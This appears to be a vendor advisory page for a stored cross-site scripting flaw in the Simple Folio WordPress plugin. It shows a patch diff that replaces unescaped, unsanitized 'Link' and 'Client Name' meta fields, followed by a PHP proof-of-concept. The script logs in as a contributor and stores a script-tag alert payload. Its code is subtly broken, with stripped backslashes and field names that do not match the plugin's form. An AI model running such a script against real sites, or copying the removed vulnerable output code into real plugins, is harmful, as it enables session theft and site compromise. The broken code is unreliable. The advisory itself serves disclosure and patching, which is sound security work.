 No newline at end of file
+class Simple_Folio_i18n {
+
+	/**
+	 * Load the plugin text domain for translation.
+	 *
+	 * @since    1.0.0
+	 */
+	public function load_plugin_textdomain() {
+		load_plugin_textdomain(
+			'simple-folio',
+			false,
+			dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
+		);
+	}
+}
--- a/simple-folio/includes/class-simple-folio-loader.php
+++ b/simple-folio/includes/class-simple-folio-loader.php
@@ -1,11 +1,11 @@
 <?php
 /**
  * Register all actions and filters for the plugin.
- *
+ *
  * Maintain a list of all hooks that are registered throughout
  * the plugin, and register them with the WordPress API. Call the
  * run function to execute the list of actions and filters.
- *
+ *
  * @link       http://www.presstigers.com
  * @since      1.0.0
  *
@@ -13,105 +13,102 @@
  * @subpackage Simple_Folio/includes
  * @author     PressTigers <support@presstigers.com>
  */
-class Simple_Folio_Loader
-{
-    /**
-     * The array of actions registered with WordPress.
-     *
-     * @since    1.0.0
-     * @access   protected
-     * @var      array    $actions    The actions registered with WordPress to fire when the plugin loads.
-     */
-    protected $actions;
-
-    /**
-     * The array of filters registered with WordPress.
-     *
-     * @since    1.0.0
-     * @access   protected
-     * @var      array    $filters    The filters registered with WordPress to fire when the plugin loads.
-     */
-    protected $filters;
-
-    /**
-     * Initialize the collections used to maintain the actions and filters.
-     *
-     * @since    1.0.0
-     */
-    public function __construct()
-    {
-        $this->actions = array();
-        $this->filters = array();
-    }
-
-    /**
-     * Add a new action to the collection to be registered with WordPress.
-     *
-     * @since    1.0.0
-     * @param    string               $hook             The name of the WordPress action that is being registered.
-     * @param    object               $component        A reference to the instance of the object on which the action is defined.
-     * @param    string               $callback         The name of the function definition on the $component.
-     * @param    int                  $priority         Optional. he priority at which the function should be fired. Default is 10.
-     * @param    int                  $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1.
-     */
-    public function add_action( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
-        $this->actions = $this->add( $this->actions, $hook, $component, $callback, $priority, $accepted_args );
-    }
-
-    /**
-     * Add a new filter to the collection to be registered with WordPress.
-     *
-     * @since    1.0.0
-     * @param    string               $hook             The name of the WordPress filter that is being registered.
-     * @param    object               $component        A reference to the instance of the object on which the filter is defined.
-     * @param    string               $callback         The name of the function definition on the $component.
-     * @param    int                  $priority         Optional. he priority at which the function should be fired. Default is 10.
-     * @param    int                  $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1
-     */
-    public function add_filter( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
-        $this->filters = $this->add( $this->filters, $hook, $component, $callback, $priority, $accepted_args );
-    }
-
-    /**
-     * A utility function that is used to register the actions and hooks into a single
-     * collection.
-     *
-     * @since    1.0.0
-     * @access   private
-     * @param    array                $hooks            The collection of hooks that is being registered (that is, actions or filters).
-     * @param    string               $hook             The name of the WordPress filter that is being registered.
-     * @param    object               $component        A reference to the instance of the object on which the filter is defined.
-     * @param    string               $callback         The name of the function definition on the $component.
-     * @param    int                  $priority         The priority at which the function should be fired.
-     * @param    int                  $accepted_args    The number of arguments that should be passed to the $callback.
-     * @return   array                                  The collection of actions and filters registered with WordPress.
-     */
-    private function add( $hooks, $hook, $component, $callback, $priority, $accepted_args )
-    {
-        $hooks[] = array(
-            'hook'          => $hook,
-            'component'     => $component,
-            'callback'      => $callback,
-            'priority'      => $priority,
-            'accepted_args' => $accepted_args
-        );
-
-        return $hooks;
-    }
-
-    /**
-     * Register the filters and actions with WordPress.
-     *
-     * @since    1.0.0
-     */
-    public function run()
-    {
-        foreach ( $this->filters as $hook ) {
-            add_filter( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
-        }
-
-        foreach ( $this->actions as $hook ) {
-            add_action( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
-        }
-    }
-}
 No newline at end of file
+class Simple_Folio_Loader {
+
+	/**
+	 * The array of actions registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @access   protected
+	 * @var      array    $actions    The actions registered with WordPress to fire when the plugin loads.
+	 */
+	protected $actions;
+
+	/**
+	 * The array of filters registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @access   protected
+	 * @var      array    $filters    The filters registered with WordPress to fire when the plugin loads.
+	 */
+	protected $filters;
+
+	/**
+	 * Initialize the collections used to maintain the actions and filters.
+	 *
+	 * @since    1.0.0
+	 */
+	public function __construct() {
+		$this->actions = array();
+		$this->filters = array();
+	}
+
+	/**
+	 * Add a new action to the collection to be registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @param    string $hook             The name of the WordPress action that is being registered.
+	 * @param    object $component        A reference to the instance of the object on which the action is defined.
+	 * @param    string $callback         The name of the function definition on the $component.
+	 * @param    int    $priority         Optional. he priority at which the function should be fired. Default is 10.
+	 * @param    int    $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1.
+	 */
+	public function add_action( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
+		$this->actions = $this->add( $this->actions, $hook, $component, $callback, $priority, $accepted_args );
+	}
+
+	/**
+	 * Add a new filter to the collection to be registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @param    string $hook             The name of the WordPress filter that is being registered.
+	 * @param    object $component        A reference to the instance of the object on which the filter is defined.
+	 * @param    string $callback         The name of the function definition on the $component.
+	 * @param    int    $priority         Optional. he priority at which the function should be fired. Default is 10.
+	 * @param    int    $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1
+	 */
+	public function add_filter( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
+		$this->filters = $this->add( $this->filters, $hook, $component, $callback, $priority, $accepted_args );
+	}
+
+	/**
+	 * A utility function that is used to register the actions and hooks into a single
+	 * collection.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @param    array  $hooks            The collection of hooks that is being registered (that is, actions or filters).
+	 * @param    string $hook             The name of the WordPress filter that is being registered.
+	 * @param    object $component        A reference to the instance of the object on which the filter is defined.
+	 * @param    string $callback         The name of the function definition on the $component.
+	 * @param    int    $priority         The priority at which the function should be fired.
+	 * @param    int    $accepted_args    The number of arguments that should be passed to the $callback.
+	 * @return   array                                  The collection of actions and filters registered with WordPress.
+	 */
+	private function add( $hooks, $hook, $component, $callback, $priority, $accepted_args ) {
+		$hooks[] = array(
+			'hook'          => $hook,
+			'component'     => $component,
+			'callback'      => $callback,
+			'priority'      => $priority,
+			'accepted_args' => $accepted_args,
+		);
+
+		return $hooks;
+	}
+
+	/**
+	 * Register the filters and actions with WordPress.
+	 *
+	 * @since    1.0.0
+	 */
+	public function run() {
+		foreach ( $this->filters as $hook ) {
+			add_filter( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
+		}
+
+		foreach ( $this->actions as $hook ) {
+			add_action( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
+		}
+	}
+}
--- a/simple-folio/includes/class-simple-folio-meta-box.php
+++ b/simple-folio/includes/class-simple-folio-meta-box.php
@@ -1,135 +1,158 @@
-<?php if (!defined('ABSPATH')) { exit; } // Exit if accessed directly
+<?php if ( ! defined( 'ABSPATH' ) ) {
+	exit; } // Exit if accessed directly
 /**
  * Simple_Folio_Meta_Box Class
  *
- * This file is used to define add or save meta box of Simple Folio.
- *
+ * This file is used to define add or save meta box of Simple Folio.
+ *
  * @link       http://presstigers.com
  * @since      1.0.0
- *
+ *
  * @package    Simple_Folio
  * @subpackage Simple_Folio/includes
  * @author     PressTigers <support@presstigers.com>
  */

-class Simple_Folio_Meta_Box
-{
+class Simple_Folio_Meta_Box {

-    /**
-     * The ID of this plugin.
-     *
-     * @since   1.0.0
-     * @access  protected
-     * @var     array   $simple_folio_postmeta
-     */
-    protected $simple_folio_postmeta;
-
-    /**
-     * Initialize the class and set its properties.
-     *
-     * @since   1.0.0
-     */
-    public function __construct() {
-        global $post, $post_id;
-
-        // Creating Meta Box on Add New Simple Folio Item Page
-        $this->simple_folio_postmeta = array(
-            'id' => 'simple_folio_metabox',
-            'title' => __('More Item Details', 'simple-folio'),
-            'context' => 'normal',
-            'screen' => 'simple_folio_item',
-            'priority' => 'high',
-            'context' => 'normal',
-            'callback' => 'simple_folio_item_output',
-            'show_names' => TRUE,
-            'closed' => FALSE,
-        );
-
-        // Add Hook into the 'admin_menu' Action
-        add_action('add_meta_boxes', array($this, 'simple_folio_item_create_meta_box'));
-
-        // Add Hook into the 'save_post()' Action
-        add_action('save_post_simple_folio_item', array($this, 'simple_folio_save_item'));
-    }
-
-    /**
-     * Getter of simple_folio_item meta box.
-     *
-     * @since   1.0.0
-     */
-    public function simple_folio_item_get_postmeta() {
-        return $this->simple_folio_postmeta;
-    }
-
-    /**
-     * Create Meta Box
-     *
-     * @since   1.0.0
-     */
-    public function simple_folio_item_create_meta_box() {
-        $cpt_post_meta = self::simple_folio_item_get_postmeta();
-        add_meta_box($cpt_post_meta['id'], $cpt_post_meta['title'], array($this, $cpt_post_meta['callback']), $cpt_post_meta['screen'], $cpt_post_meta['context'], $cpt_post_meta['priority']);
-    }
-
-    /**
-     * Meta Box Output
-     *
-     * @since   1.0.0
-     *
-     * @param   object  $post   Post Object
-     */
-    public function simple_folio_item_output($post) {
-
-        // Add a nonce field so we can check it for later.
-        wp_nonce_field('simple_folio_item_meta_box', 'simple_folio_item_meta_box_nonce');
-
-        $link_value = get_post_meta($post->ID, '_simple_folio_item_link', TRUE);
-        $client_name_value = get_post_meta($post->ID, '_simple_folio_item_client_name', TRUE);
-
-        $html  = '<label>Link: </label><br/><input type="text" name="simple_folio_item_link" value="' . $link_value . '"/><br/><br/>';
-        $html .= '<label>Client Name: </label><br/><input type="text" name="simple_folio_item_client_name" value="' . $client_name_value . '"/>';
-
-        echo $html;
-    }
-
-    /**
-     * Save Meta Box.
-     *
-     * @since   1.0.0
-     */
-    public function simple_folio_save_item($post_id) {
-
-        // Check Nonce Field
-        if (!isset($_POST['simple_folio_item_meta_box_nonce'])) {
-            return;
-        }
-
-        // Verify that the nonce is valid.
-        if (!wp_verify_nonce($_POST['simple_folio_item_meta_box_nonce'], 'simple_folio_item_meta_box')) {
-            return;
-        }
-
-        // If this is an autosave, our form has not been submitted, so we don't want to do anything.
-        if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
-            return;
-        }
-
-        // Check the user's permissions.
-        if (isset($_POST['post_type']) && 'page' == $_POST['post_type']) {
-            if (!current_user_can('edit_page', $post_id)) {
-                return;
-            }
-        } else {
-            if (!current_user_can('edit_post', $post_id)) {
-                return;
-            }
-        }
-
-        if( isset( $_POST['simple_folio_item_link'] ) )
-        update_post_meta( $post_id, '_simple_folio_item_link', $_POST['simple_folio_item_link'] );
-
-        if( isset( $_POST['simple_folio_item_client_name'] ) )
-        update_post_meta( $post_id, '_simple_folio_item_client_name', $_POST['simple_folio_item_client_name'] );
-    }
+	/**
+	 * The ID of this plugin.
+	 *
+	 * @since   1.0.0
+	 * @access  protected
+	 * @var     array   $simple_folio_postmeta
+	 */
+	protected $simple_folio_postmeta;
+
+	/**
+	 * Initialize the class and set its properties.
+	 *
+	 * @since   1.0.0
+	 */
+	public function __construct() {
+		global $post, $post_id;
+
+		// Creating Meta Box on Add New Simple Folio Item Page.
+		$this->simple_folio_postmeta = array(
+			'id'         => 'simple_folio_metabox',
+			'title'      => __( 'More Item Details', 'simple-folio' ),
+			'context'    => 'normal',
+			'screen'     => 'simple_folio_item',
+			'priority'   => 'high',
+			'callback'   => 'simple_folio_item_output',
+			'show_names' => true,
+			'closed'     => false,
+		);
+
+		// Add Hook into the 'admin_menu' Action.
+		add_action( 'add_meta_boxes', array( $this, 'simple_folio_item_create_meta_box' ) );
+
+		// Add Hook into the 'save_post()' Action.
+		add_action( 'save_post_simple_folio_item', array( $this, 'simple_folio_save_item' ) );
+	}
+
+	/**
+	 * Getter of simple_folio_item meta box.
+	 *
+	 * @since   1.0.0
+	 */
+	public function simple_folio_item_get_postmeta() {
+		return $this->simple_folio_postmeta;
+	}
+
+	/**
+	 * Create Meta Box
+	 *
+	 * @since   1.0.0
+	 */
+	public function simple_folio_item_create_meta_box() {
+		$cpt_post_meta = self::simple_folio_item_get_postmeta();
+		add_meta_box( $cpt_post_meta['id'], $cpt_post_meta['title'], array( $this, $cpt_post_meta['callback'] ), $cpt_post_meta['screen'], $cpt_post_meta['context'], $cpt_post_meta['priority'] );
+	}
+
+	/**
+	 * Meta Box Output
+	 *
+	 * @since   1.0.0
+	 *
+	 * @param   object $post   Post Object
+	 */
+	public function simple_folio_item_output( $post ) {
+
+		// Add a nonce field so we can check it for later.
+		wp_nonce_field( 'simple_folio_item_meta_box', 'simple_folio_item_meta_box_nonce' );
+
+		$link_value        = get_post_meta( $post->ID, '_simple_folio_item_link', true );
+		$client_name_value = get_post_meta( $post->ID, '_simple_folio_item_client_name', true );
+
+		?>
+		<table class="form-table">
+			<tbody>
+				<tr>
+					<th scope="row">
+						<label for="simple_folio_item_link"><?php esc_html_e( 'Link', 'simple-folio' ); ?></label>
+					</th>
+					<td>
+						<input type="url" class="regular-text" id="simple_folio_item_link" name="simple_folio_item_link" value="<?php echo esc_attr( esc_url( $link_value ) ); ?>" />
+					</td>
+				</tr>
+				<tr>
+					<th scope="row">
+						<label for="simple_folio_item_client_name"><?php esc_html_e( 'Client Name', 'simple-folio' ); ?></label>
+					</th>
+					<td>
+						<input type="text" class="regular-text" id="simple_folio_item_client_name" name="simple_folio_item_client_name" value="<?php echo esc_attr( $client_name_value ); ?>" />
+					</td>
+				</tr>
+			</tbody>
+		</table>
+		<?php
+	}
+
+	/**
+	 * Save Meta Box.
+	 *
+	 * @since   1.0.0
+	 */
+	public function simple_folio_save_item( $post_id ) {
+
+		// Check Nonce Field.
+		if ( ! isset( $_POST['simple_folio_item_meta_box_nonce'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			return;
+		}
+
+		// Verify that the nonce is valid.
+		if ( ! wp_verify_nonce( wp_unslash( $_POST['simple_folio_item_meta_box_nonce'] ), 'simple_folio_item_meta_box' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			return;
+		}
+
+		// If this is an autosave, our form has not been submitted, so we don't want to do anything.
+		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
+			return;
+		}
+
+		// Check the user's permissions.
+		if ( isset( $_POST['post_type'] ) && 'page' === wp_unslash( $_POST['post_type'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			if ( ! current_user_can( 'edit_page', $post_id ) ) {
+				return;
+			}
+		} elseif ( ! current_user_can( 'edit_post', $post_id ) ) {
+				return;
+		}
+
+		if ( isset( $_POST['simple_folio_item_link'] ) && '' !== $_POST['simple_folio_item_link'] ) {
+			$link = esc_url_raw( wp_unslash( $_POST['simple_folio_item_link'] ) );
+			update_post_meta( $post_id, '_simple_folio_item_link', $link );
+		} else {
+			delete_post_meta( $post_id, '_simple_folio_item_link' );
+		}
+
+		if ( isset( $_POST['simple_folio_item_client_name'] ) && '' !== $_POST['simple_folio_item_client_name'] ) {
+			$client_name = sanitize_text_field( wp_unslash( $_POST['simple_folio_item_client_name'] ) );
+			update_post_meta( $post_id, '_simple_folio_item_client_name', $client_name );
+		} else {
+			delete_post_meta( $post_id, '_simple_folio_item_client_name' );
+		}
+	}
 }
-new Simple_Folio_Meta_Box();
 No newline at end of file
+new Simple_Folio_Meta_Box();
--- a/simple-folio/includes/class-simple-folio-post-type.php
+++ b/simple-folio/includes/class-simple-folio-post-type.php
@@ -1,7 +1,9 @@
-<?php if (!defined('ABSPATH')) { exit; } // Exit if accessed directly
+<?php if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+} // Exit if accessed directly
 /**
  * Simple_Folio_Post_Type Class
- *
+ *
  * This class is used to create custom post type for soc slider.
  *
  * @link       http://www.presstigers.com
@@ -12,286 +14,284 @@
  * @author     PressTigers <support@presstigers.com>
  */

-class Simple_Folio_Post_Type
-{
-    /**
-     * The structure_object that holds structure class object.
-     *
-     * @since    1.0.0
-     * @access   private
-     * @var      Simple_Folio_Shortcode    $structure_object   Hold the structure class object.
-     */
-    private $structure_object;
-
-    /**
-     * Initialize the class and set it's properties.
-     *
-     * @since   1.0.0
-     */
-    public function __construct()
-    {
-        // Create Class Object
-        $this->structure_object = new Simple_Folio_Template_Structure;
-
-        // Add Hook into the 'init()' Action
-        add_action('init', array($this, 'simple_folio_init'));
-
-        // Add Hook into the 'init()' action
-        add_action('admin_init', array($this, 'simple_folio_admin_init'));
-    }
-
-    /**
-     * WordPress core launches at 'init' points
-     *
-     * @since   1.0.0
-     */
-    public function simple_folio_init() {
-        $this->create_post_type();
-
-        // Flush Rewrite Rules
-        flush_rewrite_rules();
-
-        // Add Filter into the Single Page Template
-        add_filter( 'single_template', array( $this, 'simple_folio_single_item' ) );
-    }
-
-    /**
-     * Create_post_type function.
-     *
-     * @since   1.0.0
-     */
-    public function create_post_type()
-    {
-        if (post_type_exists("simple_folio_item"))
-            return;
-
-        /**
-         * Post Type -> Simple Folio Item
-         */
-        $singular = __('Item', 'simple-folio');
-        $plural = __('Items', 'simple-folio');
-        $sfo_slug = get_option('sfo_slug');
-        get_option('sfo_slug')? $sfo_slug = get_option('sfo_slug'): $sfo_slug = 'simple-folio';
-        $rewrite = array(
-            'slug' => _x( $sfo_slug, 'simple-folio permalink - resave permalinks after changing this', 'simple-folio'),
-            'with_front' => FALSE,
-            'feeds' => FALSE,
-            'pages' => FALSE,
-            'hierarchical' => FALSE,
-        );
-
-        // Post Type -> Simple Folio Item -> Labels
-        $folio_labels = array(
-            'name' => $plural,
-            'singular_name' => $singular,
-            'menu_name' => __('Simple Folio', 'simple-folio'),
-            'all_items' => sprintf(__('%s', 'simple-folio'), $plural),
-            'add_new' => sprintf(__('New %s', 'simple-folio'), $singular),
-            'add_new_item' => sprintf(__('New %s', 'simple-folio'), $singular),
-            'edit' => __('Edit', 'simple-folio'),
-            'edit_item' => sprintf(__('Edit %s', 'simple-folio'), $singular),
-            'new_item' => sprintf(__('New %s', 'simple-folio'), $singular),
-            'view' => sprintf(__('View %s', 'simple-folio'), $singular),
-            'view_item' => sprintf(__('View %s', 'simple-folio'), $singular),
-            'search_items' => sprintf(__('Search %s', 'simple-folio'), $plural),
-            'not_found' => sprintf(__('No %s found', 'simple-folio'), $plural),
-            'not_found_in_trash' => sprintf(__('No %s found in trash', 'simple-folio'), $plural),
-            'parent' => sprintf(__('Parent %s', 'simple-folio'), $singular)
-        );
-
-        // Post Type -> Simple Folio Item -> Arguments
-        $folio_args = array(
-            'labels' => $folio_labels,
-            'description' => sprintf(__('This is where you can create and manage %s.', 'simple-folio'), $plural),
-            'public' => TRUE,
-            'menu_icon' => 'dashicons-portfolio',
-            'show_ui' => TRUE,
-            'capability_type' => 'post',
-            'map_meta_cap' => TRUE,
-            'publicly_queryable' => TRUE,
-            'exclude_from_search' => TRUE,
-            'hierarchical' => FALSE,
-            'rewrite' => $rewrite,
-            'query_var' => TRUE,
-            'can_export' => TRUE,
-            'supports' => array('title', 'editor', 'thumbnail'),
-            'has_archive' => TRUE,
-            'show_in_nav_menus' => TRUE,
-        );
-
-        // Register Simple Folio Item Post Type
-        register_post_type("simple_folio_item", apply_filters("register_post_type_simple_folio", $folio_args));
-
-        /**
-         * Post Type -> Simple Folio Item
-         * Post Type -> Simple Folio Item -> Taxonomy -> Group
-         */
-        $singular = __('Group', 'simple-folio');
-        $plural = __('Groups', 'simple-folio');
-
-        // Post Type -> Simple Folio Item -> Taxonomy -> Group -> Labels
-        $folio_labels_group = array(
-            'name'                  => $plural,
-            'singular_name'         => $singular,
-            'menu_name'             => ucwords($plural),
-            'all_items'             => sprintf(__('All %s', 'simple-folio'), $plural),
-            'edit_item'             => sprintf(__('Edit %s', 'simple-folio'), $singular),
-            'update_item'           => sprintf(__('Update %s', 'simple-folio'), $singular),
-            'add_new_item'          => sprintf(__('Add %s', 'simple-folio'), $singular),
-            'new_item_name'         => sprintf(__('New %s Name', 'simple-folio'), $singular),
-            'parent_item'           => sprintf(__('Parent %s', 'simple-folio'), $singular),
-            'parent_item_colon'     => sprintf(__('Parent %s:', 'simple-folio'), $singular),
-            'add_or_remove_items'   => __('Add or remove', 'simple-folio'),
-            'choose_from_most_used' => __('Choose from most used', 'simple-folio'),
-            'search_items'          => sprintf(__('Search %s', 'simple-folio'), $plural),
-            'popular_items'         => sprintf(__('Popular %s', 'simple-folio'), $plural),
-        );
-
-        // Post Type -> Simple Folio Item -> Taxonomy -> Group -> Arguments
-        $folio_args_group = array(
-            'label'              => $plural,
-            'labels'             => $folio_labels_group,
-            'public'             => TRUE,
-            'show_in_quick_edit' => TRUE,
-            'rewrite'            => TRUE,
-            'show_admin_column'  => TRUE,
-            'hierarchical'       => TRUE,
-            'query_var'          => TRUE,
-            'rewrite'            => array(
-                'slug' => 'simple-folio-group',
-                'hierarchical' => TRUE,
-                'with_front' => FALSE
-            ),
-        );
-
-        // Register Folio Group Tax

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14039 - Simple Folio <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'Client name' and 'Link' Meta Fields

<?php
/**
 * Proof of Concept for CVE-2025-14039
 * Authenticated Stored XSS in Simple Folio WordPress Plugin
 * Requires valid Contributor+ credentials
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// Payload to inject into Client Name field
$xss_payload = '<script>alert("Atomic Edge XSS Test");</script>';

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce (wpnonce)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Extract nonce from login form (simplified - real implementation may need regex)
// WordPress login uses 'log' and 'pwd' parameters directly

// Step 2: Perform login
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check if login was successful
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die("Login failed. Check credentials.");
}

// Step 3: Create a new portfolio item to get nonce and post ID
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=simple_folio_item');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

// Extract nonce from the form (simplified - real implementation needs proper DOM parsing)
// In real scenario, parse HTML to find _wpnonce for simple_folio_item meta box
// For this PoC, we'll simulate the nonce extraction
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Extract post ID
preg_match('/name="post_ID" value="(d+)"/', $response, $post_id_matches);
$post_id = $post_id_matches[1] ?? '';

if (empty($nonce) || empty($post_id)) {
    die("Failed to extract nonce or post ID");
}

// Step 4: Save the portfolio item with XSS payload
$save_data = array(
    'post_ID' => $post_id,
    'post_title' => 'Atomic Edge Test Portfolio',
    'post_name' => 'atomic-edge-test',
    'post_type' => 'simple_folio_item',
    '_simple_folio_item_client_name' => $xss_payload, // Vulnerable field
    '_simple_folio_item_link' => 'http://example.com', // Another vulnerable field
    '_wpnonce' => $nonce,
    '_wp_http_referer' => $target_url . '/wp-admin/post-new.php?post_type=simple_folio_item',
    'save' => 'Publish',
    'publish' => 'Publish'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($save_data));
$response = curl_exec($ch);

// Step 5: Verify the payload was stored
if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false) {
    echo "SUCCESS: Portfolio item created with XSS payload.n";
    echo "Visit: " . $target_url . '/?post_type=simple_folio_item&p=' . $post_id . "n";
    echo "Payload: " . $xss_payload . "n";
} else {
    echo "FAILED: Could not save portfolio item.n";
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School